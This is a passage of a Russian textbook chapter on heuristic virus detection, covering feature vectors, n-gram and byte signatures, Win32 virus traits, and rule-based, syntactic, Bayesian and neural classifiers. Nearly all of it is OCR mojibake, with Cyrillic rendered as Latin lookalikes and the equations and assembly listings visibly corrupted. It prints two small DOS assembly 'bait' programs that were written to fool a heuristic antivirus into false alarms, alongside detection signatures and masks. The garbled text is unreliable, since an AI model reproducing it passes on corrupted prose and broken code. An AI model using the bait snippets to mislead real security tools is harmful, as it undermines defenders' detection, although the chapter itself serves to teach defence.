ociioBaHHbiii Ha aH3acceM6.THpoBaHHH 6o.ibuiHx ynacTKOB Koaa, He Ha- 
30Beuib, h npaKTHMecKan npHMeHHMOCTb ero b aHniBHpycax-CKanepax, 
no-BHflHMOMy, He cjihuikom BejniKa.

7 .4 .9 . SBpucTMMecKvie MeTOAbi AeTeKmpoBaHMsi BHpycoB
H o  c iix  nop Mbi paccMaTpHBajiH MeToabi, no3BOJiHiomHe aHTHBHpycy pac- 
n03HaBaTb KOHKpeTHVIO pa3HOBHaHOCTb BpeaOHOCHOH nporpaMMH. Ilpea- 
nojiarajiocb, h to  3Ta pa3HOBH4HOCTb 3apaHee nonaJia b pyKH BHpycojiora, 
6biJia hm H3yneHa h onncaHa b Biiae MHO>KecTBa xapaKTepHbix npii3HaKOB: 
CHrHaTyp, KoiiTpojibHbix cvmm, cTaracTHHecKHX 3aK0H0MepH0CTei} Koaa, 
rpaMMaTHK h t. n.

BMecTe c tcm cymecTByioT TexHOJioriiH, KOTOpbie ik)3Bo;ihiot o6Ha- 
py>KHBaTb «HOBHe», 3apaHee He H3YHeHHbie Bupycbi. TaKHe TexHOJioriiH 
na3biBaiOTca <s.npoaKmu6HbiMu», to  ecTb npeziBapHiomHMii h npeaoTBpa- 
maiomHMH aKTHBamno Biipyca.

PaCCMOTpHM npOaKTHBHbie TeXHOJIOFKH, KOTOpbie 6a3HpyiOTCH Ha Me- 
Toaax -«.3BpncTHHecKoro aHajiH3a». 3aecb noa <<3bphctiikoh>> (o t  rpen. 
heurisco -  OTbicicauHe, oTKpbiBaHHe) noiuiMaeTCH B0cnp0H3BeaeHHe noa-
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xoaob, cBOHCTBeHHbix H eji0BeHecK0M y MbiiiiJieHHio. B  o6m eM , pem eHHe 

3aflaHH AeTeKTHpoBaHHH «h obo i'o » BH pyca jieacHT b ccf)epe KOMneTeHHHH 

c j io M H o a  M aTeM an iyecK O H  a h c u h m h h u ,  H3BecTH0H KaK *pacno3H aeaH ue  

o6pa3oe> . C orjia cH Q  oahoh H3 u inpoKO  pacnpocTpaH eH H bix ToneK  3peHHH, 

a ra  ijH ciiH m iH H a 3aHHMaeTcn:

1 ) «K fiacTepH 3a im eH ^  -  Bbi/ieJiemieM Ha MHoacecTBe 06i>eKT0B Hene- 

peceKaioiUHXCH KJiaccoB;

2 ) «KJiaccH4)HKanHeii» -  oraeceHHeM KOHKperaoro o6teicra k TOMy 
hah HHOMy 3apaHee oripeAeJieHHOMy KJiaccy.

IIpeAnoAaraeTCH, hto Kaaczibifi o6ieKT oaho3H3hho xapaKTeproyeTCH 
MHOaCeCTBOM CBOHX npH3HaK0B (HHCJIOBblX, JIOrHHeCKHX H T. II.). MOJKHO 
npeACTaBHTb 3HaHeHHH npH3HaKOB KOOpAHHaTaMH OObeKTOB B MHOrO- 
MepHOM npocTpaHCTBe, Toraa 3aAana cBeAeTcn k nocTpoeHHio cjioxchom 
noBepxHocTH, pa3AeJiHK>meH np0CTpaHCTB0 Ha Taraie o6jiacTH, h to6h  
b KaacAOH H3 hhx rpynriHpoBaJificb 6w  o6beicn>i TOJibKO oAHoro KJiacca. 
06bIHHO T3KHe IIOBepXHOCTH CTPOHTCH (aBTOMaTH3HpOBaHHO HJIH «Bpy4- 
hvk)>>) Ha o c m B e  aHann3a 6ojibiuoro K om m ecm a  o6i>eKTOB, npHHajyie- 
>KamHx pa3HbiM KJiaccaM. Omcbhaho. B03M0>KHbi ^HeyAaHHbies- noBepx- 
hocth, Koropbie He BcerAa npaBHJibHO pa3AejwiOT np0CTpaHCTB0. H x  

HCn0JIb30BaHHe M05KCT npHBeCTH K « 01UH6KaM KJiaCCH4)HKalJ,HH»:
O  ^nepBoro poAa» -  Koraa o6teKT He nonaAaeT b cboh KJiacc;
O  -sBToporo p o A a »  -  K oraa  o6i>eKT n onaAaeT  b  «q y ;*O H »  K jiacc.

Pmc. 7.49 ❖  reoMeipnMecKan nHTepnpeTaLtnfl 3aflaHM 
pacno3HaBaHMa 06pa30B

McXOAHblMH AaHHblMH RJlf l  C06cTBeHH0 « KJI aCCU(|)IIKHUHH»  HBJIHCTCSI 

BeKTop npii3HaK0B, xapaKTeph3yromhx KOHKpeTHbiH o6beKT, a pe3VJibTa- 
tom -  B b w o j i o  npnHa;we»cHO('Tn arero o6,beKTa. H a  iipaKTHKe KJiacc.ii-
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(^HKaiiwefi 3aHHMaeTCH hckhh «peiuaTejib», b K0T0pbiH «3auiHra>> (b  bhjic 
MaTeMaTiinecKOH tjaopMVJibi, CHCTeMbi npaBHJi hjih ajiropHTMa) 3apaHee 
nocTpoeHHaji pa3/iejrafoina» nosepxHOCTb.

KaK npaBHJio, bhboji o npHHaaJie^HocTH o6ieicra k tomv hjih HHOMy 
KJiaccy He HBJiHeTca 0jiH03HaMHbiM. HanpiiMep, ecjin peMb h/ict o Knac- 
en4>HKaioiH KOMnbiOTepHbix nporpaMM, to  oh mojkct BbirjiaaeTb TaK: 
•^nporpaMMa jtbjihctch BHpycoM e Bep0HTH0CTbK> 0.9», hjih aajKe TaK: 
«  nporpaMMa HBJifleTCfl M S-DOS-bhpvcom , 3apaacaiomHM 3arpy30HHWH 
ceKTop c Bep0HTH0CTbi0 0.4, EXE-(j)aiijibi e BepoaTHocTbio 0.3 h C O M - 
(JiaHJIbl C BepOHTHOCTblO 0.2 >>. TaKHM 00pa30M, «HeHeTKOCTb» HTOrOBOro 
BHBOfla HBJMteTCa HeflOCTaTKOM «3BpHCTHMeCKIIX aHTHBHpyeOB ».

3aTo npnBJieKaTe.!ibHbiM aoctohhctbom hbjmiotch hx MajibiH pa3Mep 
h neBbieoKHe Tpe6oBaHHfl k CHCTeMHbIM pecypcaM, nocKOJibKy 6a3bi #aH- 
hux, coaepacamne Ha6opH aBpiicTHnecKiix npaBHJi, Ha mhoto nopaziKOB 
KOMnaKTHee, neM 6a3bi aannbix c ciirHaTypaMH.

7 .4 .9 .1 . B u d e j i e n u e  x a p a icm e p H b ix  n p u 3 n a K o e

B K a n e c T B e  n p H 3 H 3 K O B , x a p a i c r e p n 3 y io m H x  k o h k p c t h h h  T u n  B H p y c o B ,  

M o r y r  B b ie T y n a T b  c a M b ie  p a 3 H o o 6 p a 3 H b ie  CB O H CTB a h j i h  o c o 6 c h h o c t h  

« n o ,n o 3 p H T e J ib H o r o »  o 6 i> e K T a . Bee K a K  b  * h 3 h i i  -  B p a H  M o a c e T  n o c T a B H T b  

o o j ib H o .u y  a i i a r H 0 3  « r p n n n » :  o 6 H a p y a c i iB  b o  B p e M H  J ia o o p a T o p i ib ix  h c -  

C J ieZ lO BaH H H  B  K p O B H  C O O TBeTC TB\TO IL (H e a H T H T eJ ia ; B 0 C ri0 .? Ib30 fiaB lU H C b  

o 6 i> e K T H B H b iM H  c i iM n T O M a M H  -  n o B h iu ie H H O H  T e M n e p a T y p o i i .  H a jn iM H e M  

K a u u ia  h  H a c .M o p K a ; a  eme B b ic j iy iu a B  c y 6 b e K T H B H b ie  a c a j io o b i  H a  t o j i o b -  

H y io  o o j i b  h  J i0M 0T_y B cycTaB ax. M ojkho  H c r io j ib n o B a T b  xapaKTepucTH K ii 

o f lH o f t  r p y n n w ,  a  m o jk h o  Bee c p a 3 y .

B npitnnHrie, CoBpeMeHHbie mctoziw pacno3H-aBanna 06pa30B nosBojia- 
IOT npHMCHHTb KaK «MHCJIOBbie», TaK H cJIorHHeCKHCO npH3!iaKH. TO ecTb 
oTBCHaioiuHC na Bonpoc <<;ia» h j ih  «n e r ». Ho 6 o J iee  npocTo peaJiH3yeTca h  

6 o j i e e  z io cT O B ep H b ie  pe3yjibTaTbi z iaeT  Hcii0jib30Banne npii3HaK0B h m c h h o

BeKtop IPM3H9K08 Pemarenb

Knaccl ?
Knacc2 7
Knacc3 ? -)► Bysofl

KnaccN ?

Phc. 7.50 ❖  PeujeHne 3aaa4M 
p a c n o 3 HaBaHn?i 0 6 p a 3 0 B
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BToporo -  «J io r i«e c K o ro »  -  ra n a . H e  roBopa y»ce o tom, h to  «h h c jio -  

B u e »  npH3HaKH Bceraa MoryT 6 h t b  CBeaeHw k  «JiorHHecKHM» npocTHM  

pa36neHHeM ooJiacTH 3HaneHHH Ha HenepeceKaiomHeca noaonana30H U  n  

BBeaeHHeM npH3H3K0B BHfla «xapaKTepHCTHKa noriajia b noaanana30H  o t  

X  flo Y » .
B nepBbix 3 KcnepHMeHTax c sbphcthhcckhm  aeTeKTHpoBamieM BHpy

coB b  KanecTBe «cHMnTOMOB» Hcnojib30Bajioc.b H ajm nne h jih  oTC.yTCTBHe 

xapaicrepHbix a jia  KOMnbKrrepHHx BH pycoB <<n-rpaMMs>. HanpHM ep, 

«3 -rp aM M a» « E 8 h 00 00 »  flOBOJibHO Macro BCTpeHaeTCH KaK b  M S -D O S ,  

TaK h  b Windows-BHpycax, nocKOJibKy cooTBeTCTByeT TpeM nepBbiM 6 aft- 

TaM 4»pam eHTa

call next 
next: pop perMCTp

TaKace mojkho HcnojiMOBaTb «n-rpaMMbi», xapaKTepHbie He jinn •«BH
pycoB Boo6m e», a aJia hx KOHKpeTHbix pa3H0BHaHocTen: 3arpy30HHbix, 
pe3HfleHTHbix, ncno^b3}ToiyHX noHCK B KaraJiore h t. n. H anpH M ep, 

«3-rpaMMa> «3 D h  5Ah 4 D h » Macro BCTpenaeTca b MS-DOS-BHpycax, 
3apa*aiomHX EXE-nporpa.MMU, a b pa3aejie 3toh  khhi'h, nocBameHHoft 
Hcn0Jib30BaHHK> CRC-32, mojkho na im i 4-rpaMMU, cooTBeTcrayiomHe 
BHpycaM, o6napy>KHBaioinHM cHCTeMHbie cepBHCbi b Ta6iiHtie SKcnopTa 
«K E R N E L 3 2 .D L L » no KompojibHbiM cyMMaM HMeH. Pa3yMeeTca, cnH- 
CKH nOao6HbIX «n-rpaMM» M05KH0 C<|>OpMHpOBaTb H Bpy'IHJ'TO, ho Jiynrne 
aBT0MaTH3Hp0BaTb 3 to t npoqecc, Hccjie/ioBaB nacTOTbi BCTpenaeMOCTH 
pa3JiHHHbix 6airroBM X n en on eK  b 6ojibiiiHx Ha6opax 3apa*eHHbix h He3a- 

paaceHHbrx nporpaM M  («K o p n y c a x » )-

H e  MeHee xapaicrepHUM n p «3HaK0M mojkct c.nyacHTb H ajim H e  hjih o t- 
cyTCTBiie b nporpaMMe 6ojree aJiHHHux 6aHT0Bux u en on eK  -  carHaiyp h 
MacoK, npHcymax He KOHKperauM BHpycaM h ceMeficTBaM, a o6urapHbiM 
KJiaccaM oflHoranHbix BpeaonocHhix nporpaMM. HanpHMep, CHrHaTypu 
« C D  2 lh » ,  «9 C h  9 A h  84h 00 00 0 0 » n  M acra « 9 C h  6 8 h ???? E A h  84h 00 

00 0 0 »  Moryr cjiyacHTb npH3HaKOM Toro, hto noao3pHTe;ibHaa M S -D O S  

nporpaMMa BbisBajia HeKOTopoe cncTeMHoe npepbreaHHe. A  Macna « 6 8 h 

???????? E 8 h »  06bIHH0 COOTBeTCTBVeT BH30BV HeKOTOpOrO CHCTeMHOrO 
cepBHca W in32-nporpaM M OH.

/lajiee, b  KanecTBe k o c b c h h m x  npii3HaKOB, xapaKTepiiayromHX W in 3 2 -  
BHpycw, mojkho  Hcn0Jib30BaTb nepeneHb, iipHBe/ieiuibiii P e ter Szor  

b  cTaTbe «A xaK a  Ha W in 3 2 *  [6 3 ,6 4 ]:

O  TOHKa Bxofla pacnoJiaraeTca b nocjieaneii cckuhh (|>aiijia;
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O  am  ceKijHH 0/iH0BpeMeHH0 ycTanoBJieHti (J)JiarH «w riteab le » h 
«executable»;

O  b PE -3aro7ioBKe 3Ha4eHiie nojia SizeOflmage He BHpoBHeHO Ha 

A/iHHy CTpaHHijEj (b  Win9X TaKHe nporpaMMu CTHTajmcb Kop- 
peKTHBIMH);

O  6ojibiuoH «3a3op» Meatfly ceKUH^MH (HanpHMep, Meaeay npe/jrio- 
cjieflneH h  riocjie/iHeH);

O  nporpaMMHbiH koa  HaHHHaeTCH c «JM P» hjih «CALL»;
O  HecTaHflapTHoe hmh  cckhhh (HanpHMep, «ATOM IC99»);
O  TOHKa Bxoaa pacnoJiaraeTca BHe cckuhh  ( b Win9X TaKHe nporpaM

Mu CHHTajIHCb KOppeKTHblMH); 
O  HMnopT np0H3B0/iHTCH He no HMenaM, a no opaHHaaaM ( 0C06eHH0 

am  (JjyHKyHH GetProcAddress h  GetModuleHandleA);
O  nporpaMMa coaepacHT HecKOJibKO PE-3ar0/i0BK0B h  aBe Ta6jiHUhi 

HMnopTHpyeMbix hmch (xapaicrepHO am  BiipycoB, Hcno;ib3yjoiiiMx 
«0BepjieHHbiH» npHHijHii 3apaaceHHa);

O  b Koae nporpaMMu npucyrcTByioT «C A LL  $+5/POP» h o t  «C M P  
EAX, 00004550h»;

O  b 3arojioBKe D LL HeBepHa KonTpojibHaa cyMMa (b  Win9X TaKHe 

D LL CHHTajIHCb KOppeKTHblMH);
O  o 6pameHHek cjjyHKUHHM «KERNEL32.DLLs> m/ih «NTD LL.D LL» 

BbinoJiHJieTCji no KOHKperabiM aapecaM;
O  b nporpaMMe HcnoJib3yeTCH KonnpoBauHe b o 6jiacTb, naHHiiaio- 

myrocH c aapeca OxCOOOOOOO ( s t o  HeHcnojibsyeMaa o 6;iacTb b pe- 

nioHe V M M  am  Win9X);
O  b  PE -3arojioBKe HeBepHo 3HaneHne am  SizeOfCode.
Eme npHMep: «ynaK0BaHH0CTb> nporpaMMbi MoacHo pacno3HaTb He 

TOJibKO no CTaTHCTHHecKHM 3aK0H0MepH0CTHM Koaa, h o h uccjieaya ero 
«reoM eTpioo». HanpHMep, b craTbe k h t3h ckhx aBTopoB Hht Ceo-Hoii h 

ap. «TexHHKa aeTeKTHpoBamia 3aKoanpoBaHHbix nporpaMMHbix (JjaftaoB 
npn noMomu ana.TH3a 3arojioBKa» paccMarpHBaioTCH cjieayiomne mhc.to- 

Bbie h JioninecKiie npH3HaKii 3amii4>poBaHHhix h OKa'rax nporpaMMHbix
cJjaii.TOB [75]:

O  KoamecTBO cckhhh c oaHOBpeMeHHO ycTanoBJiennbiMH cjwaraMH 
«execu tab le» h «w riteab le »;

O  KOJiHHecTBo ceKmiit c cJuiaroM ^executable*, He coaep?KamHx Koa, 
h ceKUHH. He HBJiHiomHxcH «executable», ho coaepacamnx Koa;

O  Ko.iHHecTBo ceKUHH c <- HeHHTaoejibjiiiiM> (He coaepacanniM 6yKB, 
UH(J)p H TOMCK) HMeHeM;

O  OTcyrcTBHe ceKuim c npHsnaKOM «executable»;
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O  npeBMUieime cyMMW pa3MepoB ceKUHH H3a j u ihhoh (Jianjia;
O  pacnoJio>KeHHe cnrHaTypbi ‘P E ’ BHyTpH o6jiacrn M Z -3aro.TOBKa h 

«3arjiyuiKHs>;
O  cckuhh c tohkoh Bxoaa He HMeeT npH3HaKa ^executable*;
O  ceKuna c tohkoh Bxoaa He coaepacHT Koaa (KpoMe, bo3mo>kho, ca- 

MOH nepBOH KOMaHabi).
TaioKe HeTpyaHo coo6pa3HTb, hto npH3HaKaMH MaKpoBHpycoB motvt 

CJiy>KHTb KOabI KOMaHa H cfiynKHHH:
O  M acroCopy -  R im  Wordbasic;
O  .OrganizerCopy, .Export h .Import, .AddFrom File h riponne -  n jw  

V B A .
Bee BbimenepeMHCJieHHbie npH3H3KH noaynaioTCH «CTaTHHecKH- 

mh* MeToaaMH -  b pe3VJibTaTe aiiMH3a aBoiiHHoro o6pa3a nporpaMMU. 
Eme 6oabiue iiHc^opMamm jxjih pa3Mbmi;ieHHH mo>kho ao6brrb, 3Myan- 
pya (h jih  Tpaccupya) nporpaMMy h aHajiH3npyH npoHcxoaamne co6u- 
thh. HanpHMep, b aMepnKaHckom IlaTeHTe 6.357.008 [69 ] ynoMHHaeTca 
CJIO>KHbIH npH3H3K

.. .npwcyrcTBwe onepaum  nepexom  Ha Koneu, (patina ( SEEK), cnejxy- 
toiueti 3a 3anvtcbio (WRITE) b  (patin uhctpykuhm  JMP, r/?e SEEK no- 
3BonneT onpejnenmb pa3Mep (patina b Gatirax, a JM P  np0H3B0flMTCf) 
Ha paBHoe vmm 6onbusee paccrodHHe...

B aocTyimoH jniTepaTvpe mojkho hshth eme HewaJio npHMepoB npn- 
3naK0B, xapaicrepfiwx a  jih toh  hjih hhoh pa3H0BHaH0CTH KOMnbKiTep- 
HOH 43apa3bl». CjieayeT, OaHaKO, HMeTb B BHay, HTO HMH nOJIb3yfOTCa He 
tojii>ko KOMnbroTepHHe BHpycoJiora, ho h BHpyconHcaTejui. B HacTHocra, 
4CHHCOK C30pa» aaBHO BKJIIOHeH BO BCe BHpyCOnHCaTejTbCKHe nOCOOHH H 
pyK0B0acTBa b KanecTBe nepeHHH Toro, nero «npn HarrHcaHHH BHpycoB 
aejiaTb He peKOMeHayeTca*. BnponeM, MHoacecTBO «xopomHX*, ho Hurae 

paHee He ynoMHHyrux npn3H3K0B BHpycoaor Bceraa mojkct BbiaejiHTb, 
coo6pa3yacb c co6ctb6hhhmh 3HaHHHMH h onbiroM.

/I jih jno6oro xapaKTepiicTHHecKoro BeKTopa, cocTaBaeHHoro H3 nepeH
HH npii3HaK0B, aoaacHbi BbinoaHHTbcn ycjioBiw:

O  He6oabmoH pa3Mep (KaK npaBHao, HecKOJibKO aecHTKOB npH3Ha- 
kob);

O HH(])OpMaTHBHOCTb (OTCyTCTBHe «HCXapaKTepHbIX» npH3H3KOB);
O  HeKOppe.TOpOBaHHOCTb (('TaTHCTH'ieCKaa He3aBHCHMOCTb) npH3- 

HaKOB.

OaHaKO ecan Ha6op npH3H3KOB nojiyneH aBT0M3TH3Hp0B3HH0, H a

npiiMep nyreM CKamipoBaHHa «TecTOBux KopnycoB* h Bbiae.iieiiHH nacTo
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BcxpeyaroiuHxcH «n-rpaMM», Bbi6op HeKoppejiHpoB3HHHx npH3HaK0B mo- 
3KeT oKa3aTbca HenpocTofi 3aaaH6H. JXjvi ee pemeHHfl npHaeTCH npHMe
HHTb a0B0JibH0 cJio>KHMe MeTOflbi (|)aKTopnoro aHa.iH3a, HanpHMep «Me- 
TOfl rjiaBHbix K0Mn0HeHT0B> [4]. B Harneii KHiire ohh paccMarpHBaTbca 
He 6yayr.

7.4.9.2. Jlozuneacue uemodbi
HaH6o.>iee npocroH h ecTecTBeHHhiH cnoco6 nocrpoeHiw «peui3Tejieii» 

0CH0BaH Ha npHMeHeHHH ko MHOJKecTBy ooHapyxceHHbix chmittomob ch- 

cTeMW <<npodyKit,uu». npoavKHMeii na3biBaeTcsi npaBHJio Biiaa: ECJIM 
«npeflHKax» TO «BbiBoa».

IIpeaHKaTbi (y c jio B H a ) M oryr npeacTaB.'iHTB co6oh  cjioacHtie (Jjvhk- 

UHH Haa pa3JIHMHbIMH CHMIITOMaMH H paHee IIOJiyHeHHblMH BMBOaaMH, 
06pa30BaHHbie npn noMomn JionraecKHX aeiicTBHH «M » ,  h

«  H  E » , HanpHMep:

EC/1H
"O t k p u t b_H a_3an mcb ” M "npcwM TaTb_HaHa;io" M "3anncaTb_B_KoH eu" k 

" 3anMcaTb_B_HaMaJio”  M "S aK p w ib "

TO
Bweofi : =  "COM .VIRUS";

KOHEILEC/W

ECj1K
Bbi BOfl="C0M. VIRUS" VI "HOMC K_0aMjIOB'

TO
Bu b o a  := 3HB0fl + "SEARCH";

KOHEL|_EC/lH

ECJIH
BtiBOfl=''C0M.VIRUS" H "OCTaTbCfl.B.naMsiTit"

TO
Bwsofl := BtJBOfl + "TSR"

KQHEl|_ECJHi

y  TaKoro n o a x o a a  Macca HeaocTaTKOB: 1 ) 0 6 teKTHBH0 CTb HToroBoro  

BblBOaa CHJIbHO 33BHCHT OT TOrO, HaCKOJIbKO KOppeKTHO, HCTKO H HenpO- 

THBopeHHBO BH pycojior cocTaBHT h oniiiueT CHCTeMy npaBHJi; 2 ) np n  He- 

OOXOaHMOCTH BHaOH3MeHHTb 3TV CHCTeMy (HanpHMep, npH nOHBJieHHH 

HOBoro r a n a  BH pycoB ) MoaceT noTpeooBaTbCH nepenncaTb ee nojiHocTbio 

c caM oro Hanajia; 3 )  CHCTeMa He H03B0Ji«eT ynecTb nopaaoK  iioflBJieHiifl 

ciiMnTOMOB b  c^afi/te h  t. n.

TeM He MeHee aBTopoB aHTHBnpycHbix iiaKeTOB, bh;ihmo, npHBJieKaioT 

iipocTora ii HarjiHflHocTb n oaxoaa . HaBepHoe, hm chho Tan D rW E B  k o h - 

ua 1990-x roaoB  airroMaTH'iecKH ooiiapy>KHBa;i ii j i tn m  cboh Ninnyish.
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Generic. 3Haa npHHimnH pa6oTbi, <o6/iypiiTb» ero He cocTaBJWJio Tpy- 
fla. AHTHBHpyc o6Hapy>KHBaji Maccy noao3pHTejibHwx npH3HaKOB b cne- 
mia.fibHMM o6pa30M cocTaBJieimwx 6e3Bpe,HHbix ( 6ojiee Toro, 6eccMhic- 
jieHHUx) nporpaMMax. B ot oflHa H3 hhx:

; " f ly p w m a " ant* aHTHBMpyca #1. K KniiMeHTbeB, 1999

, npn3H3KM "COM.EXE.TSR.VIRUS"
ret
mov ah, 4Eh
mov dx, o f f s e t  EXE
mov dx, offset COM
int 21h
raov ah, 3Dh
int 21h
inc ah
int 21H
inc ah
inc ah
int 21h
mov ax, 2521h
int 21h
EXE dD '*.EXE',0 
COM db '..COM',0

A bot flpyraa:

"/ Iypw iK a" Aim aHTMBupyca #2 B. Ko.necHUKOB, 1998 

; npM3H3KM "COM.EXE.TSR.BOOT CRYPT.VIRUS"
int 20h
mov ax,2521h
inr 21 h
mov ax,323ih
xor ax,3030h
mov cl, al
int 80h
xor ax.3030n
xor ax,3t30h

int 81 h
mov ah,30h
int 82h
mov ah,3Fh
int 83h
cmp ax.'ZM‘
mov ax,4232h
xor al,30h
int 84h
mov al,35h
xor al,30h
mov cl, al
mov ah.40h



int 85h 
mov al,38h 
xor al, 20h 
mov cl,al 
mov an,40h 
int 86h

06-beKTIlBHOCTH paflH CJie/iyeT OTMCTHTb, HTO B nOBeflCHHH KOMMep- 
n ecK o ro  npoavKTa, pa6oTaiom ero no np iiH im ny « J i y w e  nepe6;ieTb, new 

Heflo6fleTb», HeT H iinero npeflocyflHTejibHoro.

7.4.93. CuHmaxcuHecKue Memodbi
3 t o t  noaxo/t n03B0jLaeT, He m chhh H m ero  npHHiinriHajibHo b npeau - 

aym eM  MeTOfle, H36aBiiTbca o t  Heicoropbix ero  He/i0CTaTK0B. OaKTii'iecKM 

pacnojio>KeHHbie b  onpeaeJieHHofi nocjieaoBaTejibHocTH coobiT iia  -  3 to  h 

ecTb 4>pa3bi oripeae jien noro  HSMKa, KaK H cnojibaoBaTb 3 to  oocTOHTeJib- 

c tb o , 6 h .to  paHee HaMH paccMOTpeHO b pa.3.geJie, nocBHineHHOM aeTeKTM- 

pOBaHHK) MCTaMOp4)HbIX BHpyCOB.

r ip o c T o ft  npH M ep -  n ycTb  b  a j ih h iio h  nenoM Ke co6h t h h , n o jiyn eH H o ii 

b  p e3 y jib T a re  3m v j ih h h h  h jih  TpaccH poBKH  n0;i03pnTe;ibH 0H  nporpaM M bi, 

Heo6xOAHMO npOBepHTb He TOJIbKO npHCVTCTBHe, HO H IipaBHJIbHblH n o - 

pHAOK p acn o jioaceH H a c o 6 h t h h  « 0  -  OTKpbiTb 4 )a ft ji» , « W  -  3anncaTb 

b  4>ai1ji», <C -  3aKpbrrb (J jafu i*. O rp oH M  npM M irniBHbifi aBTOMaT:
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S1 S2 S3 S4 S5
O
w
c

Hnane
<eof>

S2 S2 S2 | \
S1 S3 S3 *  \
S1 S1 S4 Bnpyo\
S1 S2 S3 V 
S5 S5 S5 He Bupyc

Pmc. 7.51 ❖  ABTOMaT rpaMMaTMKM, 
pacno3Haiomefi 3anncb b $ a m

C to h k h  ap em ra  «peu iaTeJ iH », HcnoJib3yiom ero s t o t  aBTOMaT, «rrpaBHJib- 

HbiMH* 6y,ayT, HanpiiM ep, CHHTaTbca nenoHKH BM/ia «0 -0 -W -W -W -C »  
H HenpaBHJIbHblMH -  «0 -W -0 -C », HTO HaM H H aao.

«CHHTaKCHHeCKHH» nOflXO/l He OTMCHJieT «JIOrHHeCKOrO», a JOBOJIbHO 

yaaH H o aono.HHHeT e ro .

7.4.9.4. Memodbi na ocnoee (popjuyjibi Baueca
Bbiiue 6bui y n o M H H y r  H e n p iia T H b iH  H eaocraTO K  <s jion iH ecK oro » i i  

«c iiH T a K c n H e c K o ro » n o flx o a o B : «p e iu a T e jib »  npH xoAH Jiocb HacTpaHBaTb
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«B p yH H y io », h  KanecTBO e ro  pa6oTW  3aB n ceao  o t  onbrra h  yM eHHsi HejioBe- 

Ka. Kan a jib repnaTH B y p accM o ipH M  oMeHb H3BecTHbift M eToa, n cn o jib 3 y io - 

u jh h  «aBT0M aTH H ecK 0e» o 6 y LieH ne p em a T eaa  a  0CH0BaHHWH Ha (JtopMyjie 

B a fteca  [4]:

pin  9 ■ 1  ..........................................   ‘ " i- '— —-----------------------------,
\ p(Diyp(S ) lDi) + p(Di )p(S .lD2) + „' + p(D s )p(S,\DNy

ra e  5 -  «CHM nTOM bi»; D  -  «anarH 03bi»-; P (D {)  -  anpH opH aa B ep o jm io cT b  

i- r o  «flH a rH 0 3a »; P(S1\DJ) -  MacTOTa noaBJieHna z'-ro « CHMiiTOMa»  n pn  

j -O M  «/m arH 03e»; P (D l\Sj)  -  yc;ioBHafl BepoHTOocTb hcthhhocth  i- r o  

«,H narH 03a» npw o6H apy»ceH H H  j - r o  «CHMnTOMa»; N  -  KOJiHHecTBO bo3- 

M02CHMX «/IHarH030B>.

CHa>iajia o ep eT ca  o o jib m a a  o6yqa iom a> i Bbi6opKa B H pycoB  h  nop.Majib- 

h w x  n porpaM M  (n pw n eM  KOJiH 'iecTBennbie n pon opu H H  h x  a o ji jk h w  6biTb 

npHMepHO TaKHMH >Ke, KaK b >kh3hh), h  n o  Heft onpeaejunoTC H  Hcxo/uibie 

3HaMeHH3 P (D '). BnpOMeM, flJIH npOCTOTU MO>KHO CMHTaTb, MTO Bee OHH 

OflHHaKOBbI H paBHbl 1 / N . IIOTOM OepeTCfl KO.flJieKUHH H3 BHpycoB, 3a- 

paH ee pacKJiaccn(|)KHHpoBaHHbix n o  N  THnaM, h  n o  Heft onpezte/w ioTCfl 

PCSilDj). H a  3 tom  o6yMeHHe B aftecoB C K oro  «p em a T eJ ia » 3aBepm eH0. I l o -  

jiyMeHHbie aaHHbie «3aw H BafO TC fl» b aHTHBHpyc.

Pa6oTa «peiuaTeJiH» 3aKJiioHaeTC5i b cjieayiomeM. flonycraM , HMeeTca 
noao3pnTejrbHa« nporpaMMa. AHTHBHpyc CKaHHpyeT ee h Haxo^HT b  Heft 
HeKOTOpblft Ha6op H3 K  «CHMnTOMOB» S  = {5,, S2, ..., SK}. Heo6xO/tHMO 
oneHHTb, KaKOBa BepoaTHocTb «flHarH03a» D {. B stom c/iyMae no cjjopMy- 
jie Bafteca BbiMMCJiflfOTCH Bep0HTH0CTH P (D j\ S j) jum  Bcex Sj} bxo/wiuhx b 

Ha6op 5. ila jiee, b npeano.noJKeHHH, mto Bee «cHMnTOMbi*  cTaTiicTHMecKH 
He3aBHCHMbI (eCJIH 3TO He TaK, BHpycojior caM BHH0B3T -  HaflO 6bUI0 Bbl- 

onpaTb HeKoppejiHpoBaHHbie npH3Haioi), mojkho onpezie/iHTb hckomjto 
BepOSTTHOCTb:

PCAI-S) = P(D,\S1) x P ( D l\S2)x . . .x P (D t\SK).

M oacH o nocM HTaTb aHa.iorHMHbie B ep o a T H o cra  f ljia  B cex  «flH arH 030B » 

H BbnSpaTb H3 HHX MaKCHMaJIbHVIO -  3T0T «,ZlHarH03> H 6yflCT pe3yJlbTa- 

TOM KJiaCCH(J)HKaHHH.

B  2007 roay rp y n n a  coTpyaiiH KO B yH H BepcH TeTa BeH-rypnoH, 3 am i- 

MaBiuaHCH conocTaBJieHHeM  3(|x})eKTHBHOcrn pa3.nxiMHbix 3B pn cTH 'iecK iix  

MeTOflOB, a o fw .ia c b  n p n  n oM om n  B aftecoB C K oro noaxo/ia /joBOJibHO b h - 

coK o ft BepoHTHDCTH pacno3H3BaHHa Win32-BiipycoB -  n op n ^ K a  0,93 npn 

6%  j io jk h u x  cpafiaTbiBain iH  [59].
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7.4.9.5. Memodbi, ucnojib3ytotu,ue ucKyccmeeuubie
HeupoHHbie cemu
3 t o  ceM eiicTB o  oneH b «mo/ihhx»- MeroaoB, HMHTHpyiomHX pa6oTy 

M03ra aciiBbix cym ecTB . EcTb MHoro pa.3H0Bn;m0CTeW H e flp o ceT e f} ( c e r a  

KoxoHeHa, Xonc]3HJi,zia, peK yppeH TH bie h t .  n.), ho MbiKpanco paccMOTpHM 
caMyio crapyro, caMyio H3BecTHyio h caMyio HayieHHyio pa3H0BHflH0CTb -  
«MH0r0c;i0HHbiH HejiHHeHHbiH nepuenTpoH» [4 ] .

ITo/io6Hyio ceTb npome Bcero npeacTaBHTb KaK opueHTHpoBaHHbiH 
rpa4> H3 6ojibiuoro KOJimecTBa y3JioB («HeiipoHOB»), K0T0pwe pacnojia- 
raioTcji cjiohmh. B cjiohx MoaceT 6biTb He0aHHaK0B0e kojihhcctbo y3JioB. 

IlyCTb HMeiOTCH HecKOJibKO npil3HaK0B («CHMnTOMOB»)> KaaCflOMy H3 HHX 
CT3BHTCH B COOTBeTCTBHe y3CJI «BXO/[HOrO*> CJIOH. EcTb HecKOJibKO B03- 
mo»chhx pe3yjibTaTOB pacno3HaBaHH», hm nraBHTca b COOTBeTCTBHe y3Jibi 
«BbIXOaHOrO» CJIOH. H eCTb HecKOJibKO «BHVTpeHHHX>> CJIoeB. B THIIH't- 
